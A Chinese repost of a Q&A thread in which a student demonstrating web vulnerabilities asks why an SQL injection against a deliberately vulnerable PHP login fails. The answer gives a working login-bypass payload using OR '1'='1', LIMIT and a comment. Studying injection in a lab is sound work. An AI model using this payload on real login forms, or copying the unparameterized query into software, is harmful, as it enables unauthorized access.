首页 / PHP / php – 我的SQL注入似乎不起作用？

php – 我的SQL注入似乎不起作用？

内容导读

互联网集市收集整理的这篇技术教程文章主要介绍了php – 我的SQL注入似乎不起作用？，小编现在分享给大家，供广大互联网技能从业者学习和参考。文章包含1171字，纯文字阅读大概需要2分钟。

内容图文

我必须为学校做一个关于许多不同的Web漏洞(SQL,XSS,CSRF等)的项目,我已经建立了一个非常简单的网站来演示攻击.但由于某种原因,我无法通过攻击登录来获得SQL注入.

这是简单的登录代码：

$query = "SELECT * FROM customer WHERE cMAIL='$cmail' AND cPWD='$cpwd'";
$res = mysql_query($query) or die(mysql_error());
echo $query . mysql_error();
$count = mysql_num_rows($res);

if ($count == 1) {
    echo " Reached target!";
    session_start();
    $_SESSION["cmail"] = $cmail;
    $_SESSION["cpwd"] = $cpwd;
} else {}

很多回声的东西是这样我可以按照注射来看看会发生什么,但它给了我奇怪的结果.

如果我以其中一个客户身份登录;用户名：jjones@mit.edu,密码= 123abc,它给出了我预期的响应：

SELECT * FROM customer WHERE cMAIL=’jjones@mit.edu’ AND cPWD=’123abc’
Reached target!

这就是它在浏览器中的回声,只是为了清楚！

会话是为jjones创建的.但如果我这样做：用户名：1??’或’1’=’1,密码:(空)它回应：

SELECT * FROM customer WHERE cMAIL=’1′ OR ‘1’=’1′ AND cPWD=”

没有错误或任何东西.我已经回显了$count,它说从数据库中选择了0行.因此注入是合理的,但我没有根据查询得到任何行.我该如何解决这个问题？

解决方法:

你可以生产

SELECT * FROM customer WHERE cMAIL='1' OR '1'='1' LIMIT 0,1;# AND cPWD=''

有用户：

1' OR '1'='1' LIMIT 0,1;#

密码为空.

内容总结

以上是互联网集市为您收集整理的php – 我的SQL注入似乎不起作用？全部内容，希望文章能够帮你解决php – 我的SQL注入似乎不起作用？所遇到的程序开发问题。 如果觉得互联网集市技术教程内容还不错，欢迎将互联网集市网站推荐给程序员好友。

内容备注

版权声明：本文内容由互联网用户自发贡献，该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容， 请发送邮件至 gblab@vip.qq.com 举报，一经查实，本站将立刻删除。

内容手机端

扫描二维码推送至手机访问。

本文链接：https://qyyshop.com/info/892094.html

来源：【匿名】